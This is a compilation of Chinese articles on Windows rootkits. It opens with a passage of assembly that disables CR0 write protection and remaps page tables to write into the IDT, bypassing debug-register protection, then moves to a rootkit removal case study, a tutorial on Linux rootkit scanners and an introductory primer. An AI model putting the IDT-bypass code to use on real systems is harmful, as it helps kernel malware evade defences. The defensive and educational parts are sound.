    mov eax,varPTEaddr         ;修改PTE为和IDT0x01的一样 
    mov ebx,idtPTE 
    mov [eax],ebx 


    mov ebx,idtbaseoff         ;修正页内偏移 
    mov eax,varbaseoff 
    sub ebx,eax 


    ;现在我们可以使用线性地址向IDT的0x01描述符内写入东西而不会触发调试寄存器 


    mov eax,varbase 
    mov dword ptr [eax+ebx],0DEADBEEFh 


    mov eax,varPDEaddr         ;恢复原来的值 
    mov ebx,varPDE 
    mov [eax],ebx 


    mov eax,varPTEaddr         ;恢复原来的值 
    mov ebx,varPTE 
    mov [eax],ebx 


    invoke EnablePageProtection     ;恢复CR0寄存器的WP标志 


    sti 


    popad 
    ret 


BypassIDTProtection ENDP 
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
EnablePageProtection PROC 


    push eax 
    mov eax,CR0 
    and eax,0FFFEFFFFh 
    mov CR0,eax 
    pop eax 
    ret 


EnablePageProtection ENDP 
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
DisablePageProtection PROC 


    push eax 
    mov eax,CR0 
    or eax,NOT 0FFFEFFFFh 
    mov CR0,eax 
    pop eax 
    ret 


DisablePageProtection ENDP 
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 


[Rootkit的未来] 


    很不幸,这种方法使EPA变得没用。如果微软不改变它的安全结构,没有一种办法能在未来阻止


rookits。未来的rootkit会在分页机制上大有作为,这种有无限种可能性。一旦进入Ring 0,那么永远


在Ring 0。 


[参考] 


    [1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(高级Rootkit检测技术) 
    [2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2 
    [3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3 


注1: 


    这个图无法画出,就是画出了读者也不一定能看得明白(因为画的实在太简单了-_-)。我在这里补充


一下用调试寄存器保护地址的原理。首先是DR0-DR4这4个调试寄存器保存了4个线性地址,然后通过DR7


寄存器的相关位并检查DR6寄存器的相关位来对这4个地址进行相关操作。参考以下代码: 


#define DB_PROT_EXEC   0 
#define DB_PROT_WRITE 1 
#define DB_PROT_RW     3 


#define DB_DR0 0 
#define DB_DR1 1 
#define DB_DR2 2 
#define DB_DR3 3 


#define DB_LEN_1B 0 
#define DB_LEN_2B 1 
#define DB_LEN_4B 3 


int dbProtect (int reg, int addr, int len, int protection) { 
    unsigned int dr7mask; 


    switch (reg) { 
    case 0: 
        __asm { 
            mov eax, addr; 
            mov DR0, eax; 
        } 
        break;             
    case 1: 
        __asm { 
            mov eax, addr; 
            mov DR1, eax; 
        } 
        break;             
    case 2: 
        __asm { 
            mov eax, addr; 
            mov DR2, eax; 
        } 
        break;             
    case 3: 
        __asm { 
            mov eax, addr; 
            mov DR3, eax; 
        } 
        break;             
    } 


    dr7mask = 0x2<<(reg*2); 
    dr7mask |= (( (len<<2) + protection) << (16+(4*reg))); 
    __asm { 
            mov eax, DR7; 
            or   eax, dr7mask; 
            mov DR7, eax; 
    } 
    
    return 1; 



int dbSetGeneralProtection () { 


    __asm { 
        mov eax, DR7; 
        or eax, 0x1000; 
        mov DR7, eax; 
    } 


    return 1; 



然后在中断处理程序中还要加入下面几句代码: 
        mov eax, DR6; 
        test ax, 0x100f;     // BD |B3|B2|B1|B0 
        . 
        . 
        mov eax, DR6;         // 检查DR6的BS(单步)位 
        test ah, 0x40; 


最后决定对3个地址进行不同程度的保护: 
    dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE); 
    dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE); 
    dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW); 


对DR6和DR7相关位的作用不太熟悉的可以去查Intel的手册15.2节。 




后级: 


    如果你对分页机制不太熟悉的话,可以参考我朋友JIURL的4篇很详细地介绍分页机制的文章:


《JIURL玩玩Win2k内存篇 分页机制(1-4)》,网址:http://jiurl.yeah.net;或者WebCrazy的《小议分


页机制》,网址:http://webcrazy.yeah.net。
========

安德夫Rootkit顽固内核型病毒案例分析



摘要:安德夫Rootkit(Rootkit.Win32.undef.cvt)是一类相当顽固的内核型病毒,不同杀毒软件厂商


对它的命名可能不尽相同,但都大同小异并以Rootkit为中心。
安德夫Rootkit(Rootkit.Win32.undef.cvt)是一类相当顽固的内核型病毒,不同杀毒软件厂商对它的


命名可能不尽相同,但都大同小异并以Rootkit为中心。一般来说,使用Rootkit代码的SYS文件是无法逃


过杀毒软件检测的,但清除的时候相对麻烦些,杀毒软件能检测到病毒却不能有效清除,相当于明知家


里有个贼却赶不出去,让人更为担心。本文以感染Rootkit.Win32.undef.cvt驱动型病毒的计算机为例,


探讨如何检测和彻底清除此类病毒。


Rootkit是指其主要功能为隐藏其他程式行程的软件,可能是一个或一个以上的软件组合。广义而言,


Rootkit也可视为一项技术,而技术是一把双刃剑,它可以用来保护我们的系统,也可以被恶意利用破坏


我们的系统。最早Rootkit用于善意用途,但后来却被黑客恶意用在入侵和攻击他人的电脑系统上,电脑


病毒、间谍软件等也常使用Rootkit来隐藏踪迹。因为其代码运行在特权模式之下,能造成意料之外的危


险,因此Rootkit已被大多数的杀毒软件归类为具有危害性的恶意软件。在今天,Rootkit一词更多指被


作为驱动程序,加载到操作系统内核中的恶意软件。


在现代操作系统中,应用程序不能直接访问硬件,而是通过调用操作系统提供的接口来使用硬件,操作


系统则依赖内核空间来管理和调度这些应用,从这里就可以看出,内核在系统中处于核心枢纽的地位。


内核空间由四大部分组成,分别是进程管理(负责分配CPU时间)、文件访问(把设备调配成文件系统,


并提供一个一致的接口供上层程序调用)、安全控制(负责强制规定各个进程的具体权限和单独的内存


范围,避免各进程之间发生冲突)和内存管理(负责进程运行时对内存资源的分配、使用、释放和回收


)。内核是一种数据结构,Rootkit通过修改这些数据结构来隐藏相关信息从而达到黑客的最终目的。


简单的说,Rootkit是指被作为驱动程序,加载到操作系统内核中的恶意软件。在诸多病毒类型里面最让


人深恶痛绝的就是Rootkit病毒,它以驱动程序的方式挂入系统内核,然后执行一系列的病毒行为,例如


开启后门、网络监控、键盘监听、感染系统文件等。


接下来我们通过一个Rootkit病毒实例,经过对它的行为分析和手动处理过程来加深对此类病毒的理解和


认识。


病毒现象及行为分析


1) 该病毒用杀毒软件就可以检测到,这样我们很快就能锁定病毒驱动是C:\WINDOWS


\system32\drivers\mpqsugno.sys(驱动随机命名,并不固定),使用杀毒软件扫描并清除后,再扫描


会发现该驱动又在原路径下出现,造成一种“总杀总有”现象。根据路径找到该驱动尝试手动删除,但


一分钟不到该驱动就又生成了。




图1:病毒驱动位于C:\WINDOWS\system32\drivers目录下


2) 通过XueTr查看系统驱动模块,可以看到mpqsugno.sys已经加载起来,并且该驱动还在系统中创建了


一项名为“mpqsugno”的服务,可执行文件路径就指向C:\WINDOWS\system32\drivers\mpqsugno.sys,


难怪该驱动反复创建,删除不净。




图2:病毒驱动加载于系统模块中


3) 将mpqsugno.sys取出,对其进行简单的行为分析:


A. 驱动加载后对执行环境进行判断,解密并获取需要的函数地址,创建LoadImage回调函数来处理感兴


趣的进程,注入病毒代码,远程连接下载其他程序并加载执行。




图3:病毒驱动创建LoadImage回调


B. 利用SSDT Hook技术检查驱动加载是否完成,如不完全就从新写入,以便在重启的时候可以顺利加载







图4:病毒驱动利用SSDT Hook技术加载并保护自身


C. 创建线程对驱动加载的服务项进行循环的写操作,以达到保护自身一直加载的目的。


通过以上三点分析不难看出,病毒驱动通过修改系统内核来隐藏自身,并带有自我保护,这种方式十分


隐蔽,感染后也不会影响计算机的正常工作,与平时无异,所以在平常使用电脑过程中根本不会意识到


。病毒的不断回写给清除过程带来了很大麻烦,下面给大家介绍一种比较简单且通用的手动处理方法。


手动处理方法


1) 删除病毒服务。打开注册表编辑器,在以下分支中查找病毒添加的“mpqsugno”注册表项并删除:


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services


HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services


HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services


2) 手动删除C:\WINDOWS\system32\drivers\mpqsugno.sys病毒驱动文件,然后重启计算机,系统就恢


复正常了,问题解决。


Rootkit(内核型)病毒的变种很多,有多种传播方式和感染途径,带来的危害也不尽相同,但“万变不


离其宗”,本文主要还是提供一个思路,让大家在遇到问题时能够找准根源少走弯路,尽快清除病毒,


把危害降到最低。另外这类病毒多是利用操作系统的漏洞入侵的,漏洞可能包括:开放的网络端口、未


打补丁的系统或者具有弱密码的系统,所以大家要充分意识到打补丁的重要性,同时加强系统密码策略


,安装防火墙,从各方面降低病毒入侵的机会。
========

查找恶意软件、病毒和rootkit的三款扫描工具介绍



 连接到互联网的服务器整天都看到不断的攻击和扫描。虽然防火墙和定期的系统更新是确保系统安全的


第一道防线,但你还是应该定期检查,确保没有攻击者闯入进来。本教程中介绍的几款工具就是为这种


完整性检查而开发的,它们可以扫描查找恶意软件、病毒和rootkit。它们应该可以定期运行(比如说每


晚运行),通过电子邮件将报告发给你。如果你看到可疑活动,比如负载大、可疑进程或者服务器突然开


始发送恶意软件时,还可以使用Chkrootkit、Rkhunter和ISPProtect来扫描系统。


助你查找恶意软件、病毒和rootkit的三款扫描工具


所有这些扫描工具都必须以root用户的身份来运行。以root用户的身份登录后继续下一步,或者在


Ubuntu上运行“sudo su”,成为root用户。


Chkrootkit――Linux rootkit扫描工具


Chkrootkit是一款典型的rootkit扫描工具。它会检查你的服务器,查找可疑的rootkit进程,并检查已


知的rootkit文件列表。


或者安装发行版随带的程序包(在Debian和Ubuntu上,你要运行),


apt-get install chkrootkit


或者从www.chkrootkit.org下载源代码,手动安装:


wget --passive-ftp ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz tarxvfz 


chkrootkit.tar.gz


cd chkrootkit-*/


make sense


之后,你可以将chkrootkit目录移到别的某个地方,比如/usr/local/chkrootkit:


cd ..


mv chkrootkit-/ /usr/local/chkrootkit


并创建一个符号链接(symlink),以便易于访问:


ln -s /usr/local/chkrootkit/chkrootkit /usr/local/bin/chkrootkit


想用chkrootkit来检查你的服务器,运行这个命令:


chkrootkit


一个常见的误报报告是:


Checking `bindshell'...


INFECTED (PORTS: 465)


如果你在电子邮件服务器上收到这个消息,用不着担心,这是你邮件系统的SMTPS(安全SMTP)端口和一个


众所周知的误报。


你甚至可以通过计划任务(cron job)来运行chkrootkit,让结果通过电子邮件发给你。首先,使用下面


这个命令,找到chkrootkit安装在服务器上的路径:


which chkrootkit


示例:


root@server1:/tmp/chkrootkit-0.50# which chkrootkit


/usr/sbin/chkrootkit


Chkrootkit安装在/usr/sbin/chkrootkit路径上,我们需要在下面的cron这一行有这个路径:


运行:


crontab -e


想创建就像这样的计划任务:


0 3 * * * /usr/sbin/chkrootkit 2>&1 | mail -s "chkrootkit output of


my server" you@yourdomain.com)


这会在每晚3点运行chkrootkit。将chkrootkit路径换成你从上述命令获得的那条路径,并将电子邮件地


址换成你的实际地址。


Lynis――通用的安全审查工具和rootkit扫描工具


Lynis(之前名为rkhunter)是一款安全审查工具,面向基于Linux和BSD的系统。它可以详细地审查你系统


的许多安全方面和配置。从https://cisofy.com/download/lynis/下载最新的Lynis源代码:


cd /tmp


wget https://cisofy.com/files/lynis-2.1.1.tar.gz tarxvfz lynis-2.1.1.tar.gz


mv lynis /usr/local/


ln -s /usr/local/lynis/lynis /usr/local/bin/lynis


这会将lynis安装到目录/usr/local/lynis,并创建一个符号链接,以便易于访问。现在运行:


lynis update info


检查你是否用的是最新版本。


现在,你可以运行这个命令,扫描系统查找rootkit:


lynis audit system


Lynis会执行几次检测,然后停下来让你有时间来阅读结果。按回车键即可继续扫描。


Lynis系统审查。


最后,它会显示扫描摘要。


Lynis的结果。


想以非交互方式运行Lynis,使用--quick选项来启动它:


lynis --quick


想在晚间自动运行Lynis,创建就像这样的计划任务:


0 3 * * * /usr/local/bin/lynis --quick 2>&1 | mail -s "lynis output


of my server" you@yourdomain.com)


这会在每晚3点运行lynis。将电子邮件地址换成你的实际地址。


ISPProtect――网站恶意软件扫描工具


ISPProtect是一款面向网站服务器的恶意软件扫描工具,它可以扫描网站文件和内容管理系统(CMS)系统


(比如Wordpress、Joomla和Drupal等)中的恶意软件。如果你运行一个网站托管服务器,那么托管的网站


是你服务器中受到攻击次数最多的部分,所以建议定期对它们执行完整性检查。ISPProtect包含3种扫描


引擎:基于特征的恶意软件扫描工具、启发式恶意软件扫描工具,以及显示过时CMS系统的安装目录的扫


描工具。ISPProtect不是免费软件,不过有一个免费试用版可以使用,不需要注册即可试用,或者清除


被感染的系统。


ISPProtect需要PHP安装到服务器上,PHP应该安装在大多数托管系统上。万一你没有安装命令行PHP,可


以在Debian或Ubuntu上执行:


apt-get install php5-cli


或者在Fedora和CentOS上执行:


yum install php


运行下列命令来安装ISPProtect。


mkdir -p /usr/local/ispprotect


chown -R root:root /usr/local/ispprotect


chmod -R 750 /usr/local/ispprotect


cd /usr/local/ispprotect


wget http://www.ispprotect.com/download/ispp_scan.tar.gz tarxzf ispp_scan.tar.gz


rm -f ispp_scan.tar.gz


ln -s /usr/local/ispprotect/ispp_scan /usr/local/bin/ispp_scan


想启动ISPProtect,运行:


ispp_scan


该扫描工具会自动检查更新版,然后要求输入密钥(在此输入单词“trial”),然后要求输入网站路径,


通常是thats /var/www。


ISPProtect恶意软件扫描。


Please enter scan key: <-- trial


Please enter path to scan: <-- /var/www


扫描工具现在会开始扫描,显示了扫描进度。扫描结束后,被感染文件的名称显示在屏幕上,结果存储


在ISPProtect安装目录的文件中,供以后使用:


 


After the scan is completed, you will find the results also in the following files:


Malware => /usr/local/ispprotect/found_malware_20161401174626.txt


Wordpress => /usr/local/ispprotect/software_wordpress_20161401174626.txt


Joomla => /usr/local/ispprotect/software_joomla_20161401174626.txt


Drupal => /usr/local/ispprotect/software_drupal_20161401174626.txt


Mediawiki => /usr/local/ispprotect/software_mediawiki_20161401174626.txt


Contao => /usr/local/ispprotect/software_contao_20161401174626.txt


Magentocommerce =>


/usr/local/ispprotect/software_magentocommerce_20161401174626.txt


Woltlab Burning Board =>


/usr/local/ispprotect/software_woltlab_burning_board_20161401174626.txt


Cms Made Simple => /usr/local/ispprotect/software_cms_made_simple_20161401174626.txt


Phpmyadmin => /usr/local/ispprotect/software_phpmyadmin_20161401174626.txt


Typo3 => /usr/local/ispprotect/software_typo3_20161401174626.txt


Roundcube => /usr/local/ispprotect/software_roundcube_20161401174626.txt


Starting scan level 1 ...


想每晚作为计划任务自动运行ISPProtect,使用nano创建一个计划任务文件:


nano /etc/cron.d/ispprotect


然后插入下面这一行:


0 3 * * * root /usr/local/ispprotect/ispp_scan --update &&


/usr/local/ispprotect/ispp_scan --path=/var/www --email-results=roo


t@localhost --non-interactive --scan-key=AAA-BBB-CCC-DDD


将“root@localhost”换成你的电子邮件地址,扫描报告发送到这个地址。然后,将“AAA-BBB-CCC-DDD


”换成你的许可证密钥。你可以在此(http://ispprotect.com)获得许可证密钥。
========

ROOTKIT基础

一、rootkit的基本概念


rootkit是由有用的小型程序组成的工具包,使得攻击者能够保持访问计算机上具有最高权限的用


户“root”换句话说,rootkit是能够持久或可靠地、无法检测地存在于计算机上的一组程序和代码。


在上述rootkit定义中关键词是“无法检测”。rootkit所采用的大部分技术和技巧都用于在计算机上隐


藏代码和数据。例如许多rootkit可以隐藏文件和目录。rootkit 的其他特性通常用于远程访问和窃听。


例如用于嗅探网络上的报文。当这些特性结合起来后,它们会给安全带来毁灭性的打击。


rootkit并非天生邪恶,也并不总是被黑客所使用。rootkit只是一种技术,理解这一点是很重要的。美


好或邪恶的意图取决于使用它们的人,大量合法的商用程序提供了远程管理,甚至窃听功能,有些程序


甚至使用潜行技术,这些程序在许多方面都可称作rootkit。


rootkit存在的原因和语音窃听一样,人们希望了解或控制其他人的行为,由于对数据处理的巨大且日益


增长的依赖程度,计算机自然成为了目标。


只有当希望维持对系统的访问时,rootkit才发挥作用。若要完成的全部功能只是窃取信息然后离开,就


不留下rootkit。事实上,留下rootkit总是存在着被检测发现的风险,若窃取了信息并将系统清理干净


,就可以不留下任何操作痕迹。


rootkit提供了两个主要功能:远程命令和控制,以及软件窃听。远程命令和控制(简称远程控制)包括


对文件进行控制,导致系统重启或“死机蓝屏”,以及访问命令shell(即cmd.exe或/bin/sh)。软件窃


听就是观察人们在做什么,它包括嗅探报文、截获击键以及阅读电子邮件。攻击者可以使用这些技术来


捕获口令和解密的文件,甚至加密密钥。


为了使各位能够方便的理解本文,接下来我要介绍一些关于操作系统的知识。


二、操作系统(OS)


2.1 操作系统-概述


现代的人们大多是这样认识计算机的:一个人盯着屏幕敲打着键盘,这就是在操纵计算机了,于是,屏


幕和键盘就成了计算机的代表物了。更进一步了解计算机的人们知道,屏幕和键盘只不过是计算机的输


出和输入而已,计算机的核心在一个机箱里,包括处理器、内存、主板、硬盘和电源等。所有这些构成


了计算机的有形部分(实际上,这些部件也在越变越小)。再进一步,真正使用过计算机的人们还知道


,光是计算机硬件还不够,还需要各种软件,日常用到的软件包括:办公软件、游戏软件、字典软件、


上网软件、聊天软件以及防病毒软件,等等。正是有了这些软件,计算机用起来才这么有趣。所以,虽


然软件并不有形(不过,存放软件的介质却是看得见摸得着的),但人们知道它们是切实存在的。那么


,操作系统(Operating System)是什么呢?


就本质而言,操作系统也是一种软件,只不过,相对于一般的软件而言,有其特殊性。所有的应用软件


都建立在操作系统的基础之上,操作系统的发展本身也推动了应用软件的发展。一个众所周知的事实是


,Windows操作系统的发展和普及,为大量的应用软件提供了得以存在的平台,各种家用软件也纷纷随之


诞生。


操作系统是专门管理硬件资源的软件,计算机硬件本质上只提供计算和存储的能力,而操作系统则利用


硬件的计算和存储能力,建立起一个抽象层。在现代操作系统中,这一抽象层包括任务或进程(或线程


)、文件、设备或字节流等诸多概念以及相应的功能。基于操作系统所提供的抽象概念和功能,应用程


序能够方便地完成其功能,并且无须直接操纵计算机的硬件。而且,现代操作系统也提供了多个任务共


享硬件资源的能力,所以,应用程序并不独占硬件资源,而是以某些既定的方式来共享,这也为用户使


用各种应用软件提供了极大的便利。


不同种类操作系统的特殊性决定了应用软件(特别是我们这次要谈的RK)的适用范围。比如,UNIX平台


的RK转到Windows平台上,便不能正常使用,反之亦然。直接在操作系统上进行软件开发的程序员,必须


非常清楚地了解操作系统所提供的抽象层,才能够编写出行之有效的软件来。在现代软件开发领域,其


中一个分支是在系统无关的平台上进行软件开发。这里所谓的系统无关的平台是指,一个公共抽象层供


上层软件在其上运行,因而上层软件与底下的操作系统平台无关。典型的例子是Java语言及其开发平台


,这实际上是软件多层次化的体现。


2.2 计算机系统的硬件资源管理


操作系统管理哪些硬件资源,分别又是怎么管理的呢?最主要的资源是计算资源和存储资源。计算资源


即CPU(Central Processing Unit,中央处理单元),现在主流的计算机通常有一个或多个CPU,或者一


个CPU中有多个核(即多核CPU)。从操作系统的角来看,有多个CPU或一个多核CPU意味着可以同时执行


多个任务。所以,操作系统必须合理地安排和调度任务,使得多个CPU或多核尽可能地利用起来,避免出


现竞争或闲置的情形。在支持多任务并发的操作系统中,这一职责称为任务调度。在现代操作系统中由


于任务是由进程或线程来完成的,操作系统的这部分功能也称为进程调度或线程调度。因为任务的数量


可能超过CPU或核的数量,所以,多个任务可能共用同一个CPU或核,这就需要有一种硬件机制能够让操


作系统在不同的任务之间实现切换,这是任务调度的硬件基础。通常,计算机提供的时钟中断可以让操


作系统很方便地做到这一点,也就是说,每隔一定的时间,硬件系统会触发一个中断;操作系统截获此


中断,按照某种算法暂停当前正在执行的任务,并选择一个新的任务,从而实现任务的切换;到下一个


时钟中断到来时,再继续这样的切换过程。因此,多个任务可以在一个CPU或核中被轮流执行。操作系统


可以设定时钟中断间隔的长度,也可以选择不同的算法来安排这些任务被先后执行,这样就形成了各种


不同的调度算法。


存储资源通常包括内存(RAM,随机访问存储器)和外存(也称为辅助存储器)。外存是通过标准的I/O


(输入/输出)来管理的,而内存是CPU直接通过系统总线来访问的。内存是CPU执行一个任务的物质基础


,CPU内部的寄存器具备计算的能力,但计算的数据从哪里来呢?除了寄存器(其本身也是一种存储资源


)以外,数据的来源是系统内存。在现代操作系统中,每个任务都有其独立的内存空间,从而避免任务


之间产生不必要的干扰,所以操作系统有责任为每个任务提供相对独立的内存空间。把连续编址的物理


内存划分成独立的内存空间,典型的做法是段式内存寻址和页式虚拟内存管理。不同的硬件体系结构可


能支持不同的方案。Intel x86体系结构同时支持段式寻址和页式虚拟内存映射,但是,可在Intel x86


上运行的操作系统几乎都选择了虚拟内存映射作为内存管理的硬件基础。Windows和Linux便是典型的例


子。


在支持多任务的系统中,若所有任务的内存需求加起来的总量超过了当前系统的物理内存总量,那么,


系统要么停掉一些任务,要么把一些任务转移到外存(如磁盘)中,以后当内存空闲时再把这些任务转


换回来。或者系统有选择地把部分不常用的内存转换到外存,并且根据适当的规则将来再慢慢地转换回


来。虚拟内存的映射以及物理内存不足时的换出和换入操作,这都是操作系统管理内存资源的重要任务


。前者依赖于硬件提供的机制,而后者则更多地由操作系统自己来控制。


除了计算资源和内存资源的管理以外,操作系统对其他资源都通过I/O来管理。例如,上面提到的外存资


源,像磁盘,在现代计算机中是不可或缺的部件;另外,键盘和鼠标通常是标准的输入设备,而显示器


和打印机往往是标准的输出设备。操作系统为了跟I/O设备打交道,需要三方面的技术保障:CPU通过特


定的指令来控制I/O设备、I/O设备通知CPU发生了特定的事情、以及在系统主内存和设备之间传输数据。


通常,CPU直接访问设备的寄存器来操作一个设备,在Intel x86系统上,CPU通过in和out指令能够做到


这一点。设备寄存器是另一个地址空间,CPU通过I/O端口(I/O port)来访问它们。在现代计算机中,I/O


端口的分配跟软件和硬件都有关系。不同的硬件设备会使用不同的端口编号,现代的设备大都可以通过


软件方式来设置其端口号,而过去一些老的设备可能需要通过硬件跳线来改变端口号的设置。对硬件设


备进行恰当的设置,也是操作系统管理硬件设备的任务之一。另外,CPU怎么知道或检测设备的工作状态


呢?一种做法是,通过不停地查询设备的状态寄存器来获知其工作状态;但是,更有效的做法是,当设


备的状态发生变化时,它能够主动地通知CPU,从而操作系统可以采取相应的措施。这后者即是设备中断


机制。比如说,当键盘设备按收到按键动作时,它产生一个中断,告诉CPU(和操作系统),当前哪个键


被按下了。中断也有编号,中断的编号被视为系统全局资源,在早期计算机的中断控制器中,不同设备


的中断号不能冲突,否则设备无法正常工作。现代计算机通常允许多个设备共享中断号,操作系统和设


备驱动程序可以协商设备的中断号。


计算机的计算处理能力往往仅限于在CPU内部寄存器和主内存之间进行,但是为了实现基本算术计算以外


的其他各种能力,通常有必要让设备中的数据也参与到计算中来,所以,在设备与CPU寄存器或主内存之


间传输数据往往是必要的功能。例如,计算机通过磁盘设备可以实现永久存储,通过显示控制器实现彩


色显示甚至三维模拟。实现数据传输的方法有多种,如果设备本身的数据量很小,则可以直接通过in指


令来读取设备中的数据,或通过out指令输出到设备中。或者也可以映射一段地址范围到设备中,这样,


当CPU访问这块地址范围时,实际上是在访问设备的内存,而不是系统的主内存。另外一种适合于大块数


据传输的技术是DMA(Direct Memory Access,直接内存访问)。像硬盘控制器和网络控制器就通常采用


DMA方式来传输数据,CPU只须设置好数据传输的方向、位置、数量等信息,就可以启动DMA传输了。 DMA


传输可以与CPU计算同时进行,但是DMA使用的总线不能与CPU使用的发生冲突,它可以趁CPU不用总线的


时刻来传送数据,也可能会因此而阻塞CPU指令的执行。DMA传输影响CPU执行指令的程度取决于DMA控制


器的传输策略。


从操作系统的角度来看,考虑到I/O设备的多样性和出现新设备的可能性,操作系统有必要定义一个框架


来容纳各种各样的I/O设备,并且允许操作系统发布之后还能够为新的设备提供支持。所以,除了专用操


作系统以外,现代操作系统都会提供一个I/O模型,允许设备厂商按照此模型编写设备驱动程序( Device 


Driver),并加载到操作系统中。 I/O模型通常具有广泛的适用性,能够支持各种类型的设备,包括对硬


件设备的控制能力,以及对数据传输的支持。可以这么来概括I/O模型,它对下提供了控制硬件设备的能


力,对上为应用程序访问硬件提供了一个标准接口,同时I/O模型也必须能够让操作系统有效地管理设备


驱动程序。在Windows系统中,第三方厂商可以使用Windows的I/O模型来编写设备驱动程序。Windows本


身在发行时,已经内置了大量主流设备的驱动程序,所以,Windows系统在安装阶段可以自动将识别出来


的设备的驱动程序安装到系统中。因此,用户并不需要手工下载或安装这些驱动程序。另一方面,由于


驱动程序需要直接访问硬件设备,它执行的许多指令(包括in和out)是特权指令,所以,驱动程序对于


系统的稳定性和安全性有至关重要的影响,操作系统有必要对其执行严格的筛查措施,以避免恶意代趁


机闯入系统中(但实际上还是不够严格)。


2.3 软件支持


操作系统之所以要管理各种硬件资源,是为了更妤地为上层应用程序提供服务。应用程序并不直接与机


器的各种硬件设备及资源打交道,而是运行在一个抽象层上,即操作系统提供的功能语义层。操作系统


提供什么样的语义层,将决定应用程序应该怎么来构建它们的功能逻辑。尽管不同的操作系统提供的这


一功能语义层的接口可能不一致,甚至相距甚远,但现代操作系统的语义层在概念上仍然比较一致,下


面我们从应用程序的构建需求来介绍一些核心概念。


首先,对应用程序的任务作最基本的抽象,这就是进程和线程的概念。尽管不同的操作系统对于进程和


线程的定义不尽相同,但是每个任务都应该有它自己的执行环境,即该任务的控制流以及函数调用的层


次递进痕迹(假设CPU的指令体系中支持函数调用的语义)。比如,在UNIX中,一个进程代表了一个应用


任务,它记录了该任务的执行状态;在Windows中,一个线程代表了一个任务,其中也记录了该任务的执


行状态。现代操作系统都支持多个任务并发执行,任务的数量可以远远大于CPU或核的数量,所以,每个


任务实际上只是分到了一部分CPU执行时间,多个任务可以共享一个CPU。因此,在这种多任务操作系统


模型下,操作系统除了为每个任务(进程或线程)维护好其状态以外,还必须有恰当的算法来决定什么


时候让哪个任务执行,什么时候暂停一个任务。正如前面所提到的,这便是任务调度,或者称为进程调


度或线程调度(取决于操作系统是以进程还是线程的方式来管理任务)。简单地轮流执行每个任务,这


种调度算法往往难以满足实际应用程序的各种需求。通常操作系统会采用基于优先级的抢占式调度算法


,甚至根据任务的各种特性进行优先级的动态微调,这使得任务调度算法趋向于复杂化。Windows的线程


调度方案属于这一类型。


其次,在支持多任务的基础上,如果这些任务是相互独立的,则操作系统总是可以采用适当的方式让它


们获得执行机会,但在实践中,应用程序为了实现各种功能逻辑,不同任务之间往往有一些逻辑上的关


联性。比如,任务之间必须强加某种时序关系,才能保证每个任务的状态是有效的;当多个任务竞争某


些稀有资源(注意,系统的硬件资源,像打印机和显示器等,是共享的)时,系统必须确保这些任务有


序执行。所以,凡是存在共享资源的地方,操作系统都必须提供恰当的方法来同步应用程序对它的访问


。现代操作系统通常会提供多种同步机制,例如互斥体( mutex)、信号量(semaphore)、临界区


(critical section)等。应用程序可以有选择地使用这些同步机制,以确保多个任务有序地共享资源。


除了任务和同步的概念,每个应用程序还必须有它自己相对独立的执行空间。在现代操作系统中,进程


也代表了一个应用程序和它的执行空间。不同进程的空间是相互隔离的,这是现代操作系统的基本需求


。操作系统必须在处理器的硬件特性基础之上,实现一套行之有效的空间隔离方案。每个进程有它自己


的内存空间,并且无法直接访问其他进程的内存空间。进程之间如果要共享数据,则必须通过操作系统


提供的机制来进行。Intel x86体系结构上的操作系统基本上都利用硬件的虚拟内存映射机制来隔离每个


进程的内存空间。所以,操作系统的职责是为每个进程维护好从虚拟地址到物理地址的映射关系,并且


管理好物理内存的分配和回收。另一方面,除了进程的空间隔离性,操作系统还必须提供相应的机制让


不同的进程可以相互通信,毕竟,很多软件需要进程之间的协作来完成一些上层功能。同步机制和跨进


程地共享内存是典型的进程间通信(IPC,Inter-Process Communication)手段。


前面提到,现代操作系统往往以统一的框架来管理I/O设备,这也隐含了操作系统向应用程序暴露的I/O


接口是统一的这样一层意思。应用程序通过此接口来访问系统的外部设备,而操作系统不仅要管理好应


用程序访问外设的各种请求,包括它们的时序,还必须将应用程序的请求发送到对应的设备驱动程序中


,最终由设备驱动程序来处理这些请求,而处理的结果也必须以某种方式回送给应用程序。操作系统通


常以句柄( handle)来代表一个可访问的抽象设备,抽象设备可能与物理设备连接,也可能并不存在对应


的物理设备或资源。操作系统还提供在一个句柄上读( read)、写(write)数据,以及发送控制命令的能


力。所以,应用程序与系统设备打交道的方式非常简洁明了:打开设备获得句柄、向设备发送命令、读


或写设备,以及关闭设备。操作系统的任务是管理这些设备和驱动程序,以及传递或解释应用程序的命


令。


一类特殊的设备是磁盘,磁盘具有随机读写的能力,尽管其随机读写的性能比顺序读写要差很多。通常


,磁盘的驱动程序负责操纵磁盘控制器,以便从磁盘中读取数据或者向磁盘上写入数据,但磁盘上的数


据如何有效地组织起来以便不同的应用程序可以共享同一个磁盘,这一任务是由文件系统( file 


system)来完成的。在绝大多数操作系统中,文件系统是不可缺少的,它通过一个树状名字空间来管理磁


盘上的存储空间,允许应用程序通过名称来访问磁盘上的数据。这种结构奠定了现代计算机的信息存储


系统的基础。


所以,应用程序实际上工作在操作系统提供的抽象层上,它无须管理系统的硬件设备和资源,但必须使


用操作系统提供的机制或语义来实现其自身的功能逻辑。这也暗示着,操作系统在某种程度上决定了上


层应用程序应该如何使用它所提供的服务才是最有效和方便的,同时,应用程序也有足够的灵活性来完


成其自身的上层功能。这就形成了在同一个操作系统上存在大量风格迥异的应用程序的局面,并且,由


于不同操作系统提供的抽象层在概念上有一定的互通性,所以,很多应用软件能够便捷地从一个操作系


统平台移植到另一个上。


我们通常所指的操作系统的范畴包括上面提到的资源管理功能,以及为应用程序提供的各种抽象概念和


抽象接口的具体实现。但是,在应用程序和操作系统核心模块之间,往往还存在很多预封装好的模块,


